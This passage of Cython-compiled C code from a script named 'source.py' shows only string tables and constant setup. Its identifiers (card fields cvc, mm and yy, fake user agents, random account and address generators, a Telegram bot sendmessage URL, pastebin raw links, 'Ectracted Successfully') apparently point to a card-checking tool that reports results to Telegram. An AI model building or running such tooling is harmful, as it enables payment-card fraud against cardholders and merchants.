  {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0},
  {&__pyx_kp_u__28, __pyx_k__28, sizeof(__pyx_k__28), 0, 1, 0, 0},
  {&__pyx_kp_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 0},
  {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0},
  {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0},
  {&__pyx_n_s_a1, __pyx_k_a1, sizeof(__pyx_k_a1), 0, 0, 1, 1},
  {&__pyx_n_s_a2, __pyx_k_a2, sizeof(__pyx_k_a2), 0, 0, 1, 1},
  {&__pyx_n_s_a3, __pyx_k_a3, sizeof(__pyx_k_a3), 0, 0, 1, 1},
  {&__pyx_n_s_a4, __pyx_k_a4, sizeof(__pyx_k_a4), 0, 0, 1, 1},
  {&__pyx_n_s_a5, __pyx_k_a5, sizeof(__pyx_k_a5), 0, 0, 1, 1},
  {&__pyx_n_s_a6, __pyx_k_a6, sizeof(__pyx_k_a6), 0, 0, 1, 1},
  {&__pyx_n_s_a7, __pyx_k_a7, sizeof(__pyx_k_a7), 0, 0, 1, 1},
  {&__pyx_n_s_a8, __pyx_k_a8, sizeof(__pyx_k_a8), 0, 0, 1, 1},
  {&__pyx_n_s_a9, __pyx_k_a9, sizeof(__pyx_k_a9), 0, 0, 1, 1},
  {&__pyx_n_s_acc, __pyx_k_acc, sizeof(__pyx_k_acc), 0, 0, 1, 1},
  {&__pyx_n_s_add_nonce, __pyx_k_add_nonce, sizeof(__pyx_k_add_nonce), 0, 0, 1, 1},
  {&__pyx_n_s_address, __pyx_k_address, sizeof(__pyx_k_address), 0, 0, 1, 1},
  {&__pyx_n_s_align, __pyx_k_align, sizeof(__pyx_k_align), 0, 0, 1, 1},
  {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1},
  {&__pyx_n_s_ascii_letters, __pyx_k_ascii_letters, sizeof(__pyx_k_ascii_letters), 0, 0, 1, 1},
  {&__pyx_n_s_ascii_lowercase, __pyx_k_ascii_lowercase, sizeof(__pyx_k_ascii_lowercase), 0, 0, 1, 1},
  {&__pyx_n_s_au, __pyx_k_au, sizeof(__pyx_k_au), 0, 0, 1, 1},
  {&__pyx_n_s_b64decode, __pyx_k_b64decode, sizeof(__pyx_k_b64decode), 0, 0, 1, 1},
  {&__pyx_n_s_base64, __pyx_k_base64, sizeof(__pyx_k_base64), 0, 0, 1, 1},
  {&__pyx_n_s_bin3, __pyx_k_bin3, sizeof(__pyx_k_bin3), 0, 0, 1, 1},
  {&__pyx_n_s_cfonts, __pyx_k_cfonts, sizeof(__pyx_k_cfonts), 0, 0, 1, 1},
  {&__pyx_n_s_choice, __pyx_k_choice, sizeof(__pyx_k_choice), 0, 0, 1, 1},
  {&__pyx_n_s_choices, __pyx_k_choices, sizeof(__pyx_k_choices), 0, 0, 1, 1},
  {&__pyx_n_s_cities, __pyx_k_cities, sizeof(__pyx_k_cities), 0, 0, 1, 1},
  {&__pyx_n_s_city, __pyx_k_city, sizeof(__pyx_k_city), 0, 0, 1, 1},
  {&__pyx_n_s_client, __pyx_k_client, sizeof(__pyx_k_client), 0, 0, 1, 1},
  {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1},
  {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1},
  {&__pyx_n_s_colors, __pyx_k_colors, sizeof(__pyx_k_colors), 0, 0, 1, 1},
  {&__pyx_n_s_cookies, __pyx_k_cookies, sizeof(__pyx_k_cookies), 0, 0, 1, 1},
  {&__pyx_n_s_corr, __pyx_k_corr, sizeof(__pyx_k_corr), 0, 0, 1, 1},
  {&__pyx_n_s_cvc, __pyx_k_cvc, sizeof(__pyx_k_cvc), 0, 0, 1, 1},
  {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1},
  {&__pyx_n_s_dec, __pyx_k_dec, sizeof(__pyx_k_dec), 0, 0, 1, 1},
  {&__pyx_n_s_decode, __pyx_k_decode, sizeof(__pyx_k_decode), 0, 0, 1, 1},
  {&__pyx_n_s_digits, __pyx_k_digits, sizeof(__pyx_k_digits), 0, 0, 1, 1},
  {&__pyx_n_s_enc, __pyx_k_enc, sizeof(__pyx_k_enc), 0, 0, 1, 1},
  {&__pyx_n_s_exit, __pyx_k_exit, sizeof(__pyx_k_exit), 0, 0, 1, 1},
  {&__pyx_n_s_fake_useragent, __pyx_k_fake_useragent, sizeof(__pyx_k_fake_useragent), 0, 0, 1, 1},
  {&__pyx_n_s_file, __pyx_k_file, sizeof(__pyx_k_file), 0, 0, 1, 1},
  {&__pyx_n_s_findall, __pyx_k_findall, sizeof(__pyx_k_findall), 0, 0, 1, 1},
  {&__pyx_n_s_first_name, __pyx_k_first_name, sizeof(__pyx_k_first_name), 0, 0, 1, 1},
  {&__pyx_n_s_first_names, __pyx_k_first_names, sizeof(__pyx_k_first_names), 0, 0, 1, 1},
  {&__pyx_n_s_flush, __pyx_k_flush, sizeof(__pyx_k_flush), 0, 0, 1, 1},
  {&__pyx_n_s_follow_redirects, __pyx_k_follow_redirects, sizeof(__pyx_k_follow_redirects), 0, 0, 1, 1},
  {&__pyx_n_s_format, __pyx_k_format, sizeof(__pyx_k_format), 0, 0, 1, 1},
  {&__pyx_n_s_full_name, __pyx_k_full_name, sizeof(__pyx_k_full_name), 0, 0, 1, 1},
  {&__pyx_n_s_generate_address, __pyx_k_generate_address, sizeof(__pyx_k_generate_address), 0, 0, 1, 1},
  {&__pyx_n_s_generate_full_name, __pyx_k_generate_full_name, sizeof(__pyx_k_generate_full_name), 0, 0, 1, 1},
  {&__pyx_n_s_generate_random_account, __pyx_k_generate_random_account, sizeof(__pyx_k_generate_random_account), 0, 0, 1, 1},
  {&__pyx_n_s_generate_random_code, __pyx_k_generate_random_code, sizeof(__pyx_k_generate_random_code), 0, 0, 1, 1},
  {&__pyx_n_s_generate_random_code_locals_gene, __pyx_k_generate_random_code_locals_gene, sizeof(__pyx_k_generate_random_code_locals_gene), 0, 0, 1, 1},
  {&__pyx_n_s_generate_user_agent, __pyx_k_generate_user_agent, sizeof(__pyx_k_generate_user_agent), 0, 0, 1, 1},
  {&__pyx_n_s_genexpr, __pyx_k_genexpr, sizeof(__pyx_k_genexpr), 0, 0, 1, 1},
  {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1},
  {&__pyx_kp_u_gmail_com, __pyx_k_gmail_com, sizeof(__pyx_k_gmail_com), 0, 1, 0, 0},
  {&__pyx_n_s_group, __pyx_k_group, sizeof(__pyx_k_group), 0, 0, 1, 1},
  {&__pyx_n_s_headers, __pyx_k_headers, sizeof(__pyx_k_headers), 0, 0, 1, 1},
  {&__pyx_n_s_heron, __pyx_k_heron, sizeof(__pyx_k_heron), 0, 0, 1, 1},
  {&__pyx_kp_u_https_api_telegram_org_bot, __pyx_k_https_api_telegram_org_bot, sizeof(__pyx_k_https_api_telegram_org_bot), 0, 1, 0, 0},
  {&__pyx_kp_u_https_pastebin_com_raw_3, __pyx_k_https_pastebin_com_raw_3, sizeof(__pyx_k_https_pastebin_com_raw_3), 0, 1, 0, 0},
  {&__pyx_kp_u_https_pastebin_com_raw_9, __pyx_k_https_pastebin_com_raw_9, sizeof(__pyx_k_https_pastebin_com_raw_9), 0, 1, 0, 0},
  {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1},
  {&__pyx_n_u_icX, __pyx_k_icX, sizeof(__pyx_k_icX), 0, 1, 0, 1},
  {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1},
  {&__pyx_n_s_index, __pyx_k_index, sizeof(__pyx_k_index), 0, 0, 1, 1},
  {&__pyx_n_s_input, __pyx_k_input, sizeof(__pyx_k_input), 0, 0, 1, 1},
  {&__pyx_n_s_json, __pyx_k_json, sizeof(__pyx_k_json), 0, 0, 1, 1},
  {&__pyx_n_s_json_data, __pyx_k_json_data, sizeof(__pyx_k_json_data), 0, 0, 1, 1},
  {&__pyx_n_s_k, __pyx_k_k, sizeof(__pyx_k_k), 0, 0, 1, 1},
  {&__pyx_n_s_ka, __pyx_k_ka, sizeof(__pyx_k_ka), 0, 0, 1, 1},
  {&__pyx_n_s_last_name, __pyx_k_last_name, sizeof(__pyx_k_last_name), 0, 0, 1, 1},
  {&__pyx_n_s_last_names, __pyx_k_last_names, sizeof(__pyx_k_last_names), 0, 0, 1, 1},
  {&__pyx_n_s_length, __pyx_k_length, sizeof(__pyx_k_length), 0, 0, 1, 1},
  {&__pyx_n_s_letters_and_digits, __pyx_k_letters_and_digits, sizeof(__pyx_k_letters_and_digits), 0, 0, 1, 1},
  {&__pyx_n_s_lo, __pyx_k_lo, sizeof(__pyx_k_lo), 0, 0, 1, 1},
  {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1},
  {&__pyx_n_s_match, __pyx_k_match, sizeof(__pyx_k_match), 0, 0, 1, 1},
  {&__pyx_n_s_md1, __pyx_k_md1, sizeof(__pyx_k_md1), 0, 0, 1, 1},
  {&__pyx_n_s_md2, __pyx_k_md2, sizeof(__pyx_k_md2), 0, 0, 1, 1},
  {&__pyx_n_s_md3, __pyx_k_md3, sizeof(__pyx_k_md3), 0, 0, 1, 1},
  {&__pyx_n_s_mm, __pyx_k_mm, sizeof(__pyx_k_mm), 0, 0, 1, 1},
  {&__pyx_n_s_n, __pyx_k_n, sizeof(__pyx_k_n), 0, 0, 1, 1},
  {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1},
  {&__pyx_n_s_name_2, __pyx_k_name_2, sizeof(__pyx_k_name_2), 0, 0, 1, 1},
  {&__pyx_n_s_num, __pyx_k_num, sizeof(__pyx_k_num), 0, 0, 1, 1},
  {&__pyx_n_s_number, __pyx_k_number, sizeof(__pyx_k_number), 0, 0, 1, 1},
  {&__pyx_n_s_open, __pyx_k_open, sizeof(__pyx_k_open), 0, 0, 1, 1},
  {&__pyx_n_s_opm, __pyx_k_opm, sizeof(__pyx_k_opm), 0, 0, 1, 1},
  {&__pyx_n_s_os, __pyx_k_os, sizeof(__pyx_k_os), 0, 0, 1, 1},
  {&__pyx_n_s_output, __pyx_k_output, sizeof(__pyx_k_output), 0, 0, 1, 1},
  {&__pyx_n_s_pattern, __pyx_k_pattern, sizeof(__pyx_k_pattern), 0, 0, 1, 1},
  {&__pyx_n_s_post, __pyx_k_post, sizeof(__pyx_k_post), 0, 0, 1, 1},
  {&__pyx_n_s_print, __pyx_k_print, sizeof(__pyx_k_print), 0, 0, 1, 1},
  {&__pyx_n_s_r, __pyx_k_r, sizeof(__pyx_k_r), 0, 0, 1, 1},
  {&__pyx_n_s_randint, __pyx_k_randint, sizeof(__pyx_k_randint), 0, 0, 1, 1},
  {&__pyx_n_s_random, __pyx_k_random, sizeof(__pyx_k_random), 0, 0, 1, 1},
  {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1},
  {&__pyx_n_s_re, __pyx_k_re, sizeof(__pyx_k_re), 0, 0, 1, 1},
  {&__pyx_n_s_readlines, __pyx_k_readlines, sizeof(__pyx_k_readlines), 0, 0, 1, 1},
  {&__pyx_n_s_register, __pyx_k_register, sizeof(__pyx_k_register), 0, 0, 1, 1},
  {&__pyx_n_s_render, __pyx_k_render, sizeof(__pyx_k_render), 0, 0, 1, 1},
  {&__pyx_n_s_replace, __pyx_k_replace, sizeof(__pyx_k_replace), 0, 0, 1, 1},
  {&__pyx_n_s_requests, __pyx_k_requests, sizeof(__pyx_k_requests), 0, 0, 1, 1},
  {&__pyx_n_s_response, __pyx_k_response, sizeof(__pyx_k_response), 0, 0, 1, 1},
  {&__pyx_n_s_result, __pyx_k_result, sizeof(__pyx_k_result), 0, 0, 1, 1},
  {&__pyx_n_s_say, __pyx_k_say, sizeof(__pyx_k_say), 0, 0, 1, 1},
  {&__pyx_n_s_search, __pyx_k_search, sizeof(__pyx_k_search), 0, 0, 1, 1},
  {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1},
  {&__pyx_kp_u_sendmessage_chat_id, __pyx_k_sendmessage_chat_id, sizeof(__pyx_k_sendmessage_chat_id), 0, 1, 0, 0},
  {&__pyx_n_s_sess, __pyx_k_sess, sizeof(__pyx_k_sess), 0, 0, 1, 1},
  {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1},
  {&__pyx_n_s_sleep, __pyx_k_sleep, sizeof(__pyx_k_sleep), 0, 0, 1, 1},
  {&__pyx_n_s_slpn, __pyx_k_slpn, sizeof(__pyx_k_slpn), 0, 0, 1, 1},
  {&__pyx_n_s_source, __pyx_k_source, sizeof(__pyx_k_source), 0, 0, 1, 1},
  {&__pyx_kp_s_source_py, __pyx_k_source_py, sizeof(__pyx_k_source_py), 0, 0, 1, 0},
  {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1},
  {&__pyx_n_s_start_num, __pyx_k_start_num, sizeof(__pyx_k_start_num), 0, 0, 1, 1},
  {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1},
  {&__pyx_n_s_states, __pyx_k_states, sizeof(__pyx_k_states), 0, 0, 1, 1},
  {&__pyx_n_s_stdout, __pyx_k_stdout, sizeof(__pyx_k_stdout), 0, 0, 1, 1},
  {&__pyx_n_s_street_address, __pyx_k_street_address, sizeof(__pyx_k_street_address), 0, 0, 1, 1},
  {&__pyx_n_s_streets, __pyx_k_streets, sizeof(__pyx_k_streets), 0, 0, 1, 1},
  {&__pyx_n_s_string, __pyx_k_string, sizeof(__pyx_k_string), 0, 0, 1, 1},
  {&__pyx_n_s_sys, __pyx_k_sys, sizeof(__pyx_k_sys), 0, 0, 1, 1},
  {&__pyx_n_s_system, __pyx_k_system, sizeof(__pyx_k_system), 0, 0, 1, 1},
  {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1},
  {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1},
  {&__pyx_kp_u_text_C, __pyx_k_text_C, sizeof(__pyx_k_text_C), 0, 1, 0, 0},
  {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1},
  {&__pyx_n_s_time, __pyx_k_time, sizeof(__pyx_k_time), 0, 0, 1, 1},
  {&__pyx_n_s_tok, __pyx_k_tok, sizeof(__pyx_k_tok), 0, 0, 1, 1},
  {&__pyx_n_s_token, __pyx_k_token, sizeof(__pyx_k_token), 0, 0, 1, 1},
  {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1},
  {&__pyx_n_s_url3, __pyx_k_url3, sizeof(__pyx_k_url3), 0, 0, 1, 1},
  {&__pyx_n_s_user, __pyx_k_user, sizeof(__pyx_k_user), 0, 0, 1, 1},
  {&__pyx_n_s_user_agent, __pyx_k_user_agent, sizeof(__pyx_k_user_agent), 0, 0, 1, 1},
  {&__pyx_n_s_username, __pyx_k_username, sizeof(__pyx_k_username), 0, 0, 1, 1},
  {&__pyx_n_u_v1k, __pyx_k_v1k, sizeof(__pyx_k_v1k), 0, 1, 0, 1},
  {&__pyx_n_u_v3i, __pyx_k_v3i, sizeof(__pyx_k_v3i), 0, 1, 0, 1},
  {&__pyx_n_s_verify, __pyx_k_verify, sizeof(__pyx_k_verify), 0, 0, 1, 1},
  {&__pyx_n_s_w, __pyx_k_w, sizeof(__pyx_k_w), 0, 0, 1, 1},
  {&__pyx_n_s_webbrowser, __pyx_k_webbrowser, sizeof(__pyx_k_webbrowser), 0, 0, 1, 1},
  {&__pyx_n_s_word, __pyx_k_word, sizeof(__pyx_k_word), 0, 0, 1, 1},
  {&__pyx_n_s_write, __pyx_k_write, sizeof(__pyx_k_write), 0, 0, 1, 1},
  {&__pyx_n_s_x, __pyx_k_x, sizeof(__pyx_k_x), 0, 0, 1, 1},
  {&__pyx_n_s_y, __pyx_k_y, sizeof(__pyx_k_y), 0, 0, 1, 1},
  {&__pyx_n_s_yy, __pyx_k_yy, sizeof(__pyx_k_yy), 0, 0, 1, 1},
  {&__pyx_n_s_zip_code, __pyx_k_zip_code, sizeof(__pyx_k_zip_code), 0, 0, 1, 1},
  {&__pyx_n_s_zip_codes, __pyx_k_zip_codes, sizeof(__pyx_k_zip_codes), 0, 0, 1, 1},
  {0, 0, 0, 0, 0, 0, 0}
};
static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) {
  __pyx_builtin_print = __Pyx_GetBuiltinName(__pyx_n_s_print); if (!__pyx_builtin_print) __PYX_ERR(0, 27, __pyx_L1_error)
  __pyx_builtin_open = __Pyx_GetBuiltinName(__pyx_n_s_open); if (!__pyx_builtin_open) __PYX_ERR(0, 118, __pyx_L1_error)
  __pyx_builtin_input = __Pyx_GetBuiltinName(__pyx_n_s_input); if (!__pyx_builtin_input) __PYX_ERR(0, 131, __pyx_L1_error)
  __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 99, __pyx_L1_error)
  return 0;
  __pyx_L1_error:;
  return -1;
}

static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) {
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0);

  
  __pyx_tuple_ = PyTuple_Pack(2, __pyx_int_1, __pyx_int_999); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 370, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple_);
  __Pyx_GIVEREF(__pyx_tuple_);

  
  __pyx_tuple__2 = PyTuple_Pack(1, __pyx_kp_u_T_S); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 28, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__2);
  __Pyx_GIVEREF(__pyx_tuple__2);

  
  __pyx_tuple__3 = PyTuple_Pack(1, __pyx_kp_u_B_6_Q); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 29, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__3);
  __Pyx_GIVEREF(__pyx_tuple__3);

  
  __pyx_tuple__4 = PyTuple_Pack(4, __pyx_n_s_word, __pyx_n_s_heron, __pyx_n_s_i, __pyx_n_s_x); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 87, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__4);
  __Pyx_GIVEREF(__pyx_tuple__4);
  __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(1, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__4, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_source_py, __pyx_n_s_lo, 87, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 87, __pyx_L1_error)

  
  __pyx_tuple__6 = PyTuple_Pack(1, __pyx_kp_u_1_36m); if (unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 106, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__6);
  __Pyx_GIVEREF(__pyx_tuple__6);

  
  __pyx_tuple__7 = PyTuple_Pack(1, __pyx_kp_u_P_B_6_Q_C_ModcaTheLost); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 111, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__7);
  __Pyx_GIVEREF(__pyx_tuple__7);

  
  __pyx_tuple__9 = PyTuple_Pack(1, __pyx_kp_u__8); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 130, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__9);
  __Pyx_GIVEREF(__pyx_tuple__9);

  
  __pyx_tuple__10 = PyTuple_Pack(1, __pyx_kp_u_E_D); if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 131, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__10);
  __Pyx_GIVEREF(__pyx_tuple__10);

  
  __pyx_slice__11 = PySlice_New(Py_None, __pyx_int_6, Py_None); if (unlikely(!__pyx_slice__11)) __PYX_ERR(0, 137, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_slice__11);
  __Pyx_GIVEREF(__pyx_slice__11);

  
  __pyx_tuple__12 = PyTuple_Pack(5, __pyx_n_s_first_names, __pyx_n_s_last_names, __pyx_n_s_full_name, __pyx_n_s_first_name, __pyx_n_s_last_name); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 156, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__12);
  __Pyx_GIVEREF(__pyx_tuple__12);
  __pyx_codeobj__13 = (PyObject*)__Pyx_PyCode_New(0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__12, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_source_py, __pyx_n_s_generate_full_name, 156, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__13)) __PYX_ERR(0, 156, __pyx_L1_error)

  
  __pyx_tuple__14 = PyTuple_Pack(8, __pyx_n_s_cities, __pyx_n_s_states, __pyx_n_s_streets, __pyx_n_s_zip_codes, __pyx_n_s_city, __pyx_n_s_state, __pyx_n_s_street_address, __pyx_n_s_zip_code); if (unlikely(!__pyx_tuple__14)) __PYX_ERR(0, 333, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__14);
  __Pyx_GIVEREF(__pyx_tuple__14);
  __pyx_codeobj__15 = (PyObject*)__Pyx_PyCode_New(0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__14, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_source_py, __pyx_n_s_generate_address, 333, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__15)) __PYX_ERR(0, 333, __pyx_L1_error)

  
  __pyx_tuple__16 = PyTuple_Pack(2, __pyx_n_s_name_2, __pyx_n_s_number); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 377, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__16);
  __Pyx_GIVEREF(__pyx_tuple__16);
  __pyx_codeobj__17 = (PyObject*)__Pyx_PyCode_New(0, 0, 2, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__16, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_source_py, __pyx_n_s_generate_random_account, 377, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__17)) __PYX_ERR(0, 377, __pyx_L1_error)

  
  __pyx_tuple__18 = PyTuple_Pack(2, __pyx_n_s_name_2, __pyx_n_s_number); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 383, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__18);
  __Pyx_GIVEREF(__pyx_tuple__18);
  __pyx_codeobj__19 = (PyObject*)__Pyx_PyCode_New(0, 0, 2, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__18, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_source_py, __pyx_n_s_username, 383, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__19)) __PYX_ERR(0, 383, __pyx_L1_error)

  
  __pyx_tuple__20 = PyTuple_Pack(1, __pyx_n_s_number); if (unlikely(!__pyx_tuple__20)) __PYX_ERR(0, 389, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__20);
  __Pyx_GIVEREF(__pyx_tuple__20);
  __pyx_codeobj__21 = (PyObject*)__Pyx_PyCode_New(0, 0, 1, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__20, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_source_py, __pyx_n_s_num, 389, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__21)) __PYX_ERR(0, 389, __pyx_L1_error)

  
  __pyx_tuple__22 = PyTuple_Pack(4, __pyx_n_s_length, __pyx_n_s_letters_and_digits, __pyx_n_s_genexpr, __pyx_n_s_genexpr); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 394, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__22);
  __Pyx_GIVEREF(__pyx_tuple__22);
  __pyx_codeobj__23 = (PyObject*)__Pyx_PyCode_New(1, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__22, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_source_py, __pyx_n_s_generate_random_code, 394, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__23)) __PYX_ERR(0, 394, __pyx_L1_error)
  __pyx_tuple__24 = PyTuple_Pack(1, ((PyObject *)__pyx_int_32)); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 394, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__24);
  __Pyx_GIVEREF(__pyx_tuple__24);

  
  __pyx_tuple__25 = PyTuple_Pack(1, __pyx_kp_u_Ectracted_Successfully); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 557, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__25);
  __Pyx_GIVEREF(__pyx_tuple__25);

  
  __pyx_tuple__26 = PyTuple_Pack(1, __pyx_kp_u_Ectracted_Failed); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 560, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_tuple__26);
  __Pyx_GIVEREF(__pyx_tuple__26);
  __Pyx_RefNannyFinishContext();
  return 0;
  __pyx_L1_error:;
  __Pyx_RefNannyFinishContext();
  return -1;
}

static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) {
  __pyx_umethod_PyList_Type_index.type = (PyObject*)&PyList_Type;
  if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_float_0_1 = PyFloat_FromDouble(0.1); if (unlikely(!__pyx_float_0_1)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_4 = PyInt_FromLong(4); if (unlikely(!__pyx_int_4)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_6 = PyInt_FromLong(6); if (unlikely(!__pyx_int_6)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_7 = PyInt_FromLong(7); if (unlikely(!__pyx_int_7)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_10 = PyInt_FromLong(10); if (unlikely(!__pyx_int_10)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_11 = PyInt_FromLong(11); if (unlikely(!__pyx_int_11)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_12 = PyInt_FromLong(12); if (unlikely(!__pyx_int_12)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_13 = PyInt_FromLong(13); if (unlikely(!__pyx_int_13)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_14 = PyInt_FromLong(14); if (unlikely(!__pyx_int_14)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_20 = PyInt_FromLong(20); if (unlikely(!__pyx_int_20)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_27 = PyInt_FromLong(27); if (unlikely(!__pyx_int_27)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_32 = PyInt_FromLong(32); if (unlikely(!__pyx_int_32)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_33 = PyInt_FromLong(33); if (unlikely(!__pyx_int_33)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_34 = PyInt_FromLong(34); if (unlikely(!__pyx_int_34)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_36 = PyInt_FromLong(36); if (unlikely(!__pyx_int_36)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_40 = PyInt_FromLong(40); if (unlikely(!__pyx_int_40)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_41 = PyInt_FromLong(41); if (unlikely(!__pyx_int_41)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_42 = PyInt_FromLong(42); if (unlikely(!__pyx_int_42)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_43 = PyInt_FromLong(43); if (unlikely(!__pyx_int_43)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_44 = PyInt_FromLong(44); if (unlikely(!__pyx_int_44)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_45 = PyInt_FromLong(45); if (unlikely(!__pyx_int_45)) __PYX_ERR(0, 4, __pyx_L1_error)
